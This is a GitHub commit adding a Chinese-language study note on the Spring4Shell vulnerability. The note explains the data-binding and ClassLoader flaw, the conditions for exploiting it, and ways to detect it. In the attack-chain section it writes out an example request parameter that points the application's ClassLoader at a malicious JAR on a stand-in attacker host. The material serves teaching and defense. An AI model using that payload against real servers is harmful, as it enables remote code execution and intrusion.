Add files via upload

This commit is contained in:
雾島风起時
2025-09-25 03:24:57 +08:00
committed by GitHub
parent 770173d4a3
commit 6faa3b7354
28 changed files with 1149 additions and 0 deletions
+50
View File
@@ -0,0 +1,50 @@
### Spring4shell 原理&检测&利用
**1. Spring4Shell 原理**
Spring4Shell 的核心是一个**数据绑定(Data Binding**漏洞,利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷
**数据绑定是什么?** 在 Spring MVC 中,当你向一个 Controller 发送请求时,框架会自动将请求参数(例如 URL 中的查询参数或 POST 请求体)的值,绑定到方法的 Java 对象参数上。这个过程非常方便,但如果绑定过程没有受到严格限制,就会带来安全风险
**漏洞的本质** Spring MVC 在数据绑定时,使用了**反射**来设置对象的属性。攻击者发现,可以通过精心构造的请求参数,**利用反射访问并修改一些特殊的对象属性**,例如:
- **`class` 属性**:任何 Java 对象都有一个隐藏的 `class` 属性,可以用来获取该对象的 `ClassLoader`
- **`ClassLoader`**:这是 Java 虚拟机(JVM)加载类的地方
**完整的攻击链**
1. **构造恶意请求**:攻击者发送一个 HTTP 请求,其参数名为 `class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar`
2. **数据绑定触发**:Spring MVC 收到请求后,会尝试将这个参数绑定到 Controller 方法的 Java 对象上
3. **反射调用**:在绑定过程中,Spring 使用反射,根据 `class.module.classLoader` 这个路径,一步步获取到应用程序的 `ClassLoader` 对象
4. **修改 URL**:然后,Spring 会将 `attacker-ip/malicious.jar` 这个 URL,设置到 `ClassLoader``URLs` 属性中
5. **加载恶意类**:一旦 `ClassLoader` 的 URL 被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包(其中包含可以执行命令的代码)
6. **远程代码执行(RCE**:当恶意 JAR 包中的类被加载到 JVM 中时,其中的恶意代码(通常是静态代码块)会被自动执行,从而实现 RCE。
**2. Spring4Shell 利用**
这个漏洞的利用需要满足几个特定条件:
- **依赖**:应用程序必须依赖于 Spring Framework 的 `5.2.x``5.3.x` 版本
- **环境**
- **JDK 9+**:漏洞利用的原理依赖于 JDK 9+ 引入的 `class.module` 机制
- **Tomcat Servlet 容器**:攻击利用依赖于 Tomcat Servlet 容器,因为它暴露了可被利用的 `ClassLoader`
- **控制器(Controller**:应用程序中必须有一个 Controller,其方法参数使用了**简单的 POJO**Plain Old Java Object)进行数据绑定。例如:
```java
@PostMapping("/bind")
public String bind(@ModelAttribute User user) {
// ...
}
```
**3. Spring4Shell 检测**
Spring4Shell 的检测方法可以分为以下几种:
- **版本检测**:最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内(如 Spring 5.2.x - 5.3.x + JDK 9+),则存在风险
- **流量检测**:Web 应用防火墙(WAF)可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串,例如 `class.module.classLoader`。这是最有效的网络层面检测方法
- **主动扫描**:使用自动化漏洞扫描器(如 **Nessus**、**OpenVAS**)对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
- **代码审计**:通过静态应用安全测试(SAST)工具对源代码进行审计,检查是否使用了存在漏洞的 Spring 版本和数据绑定模式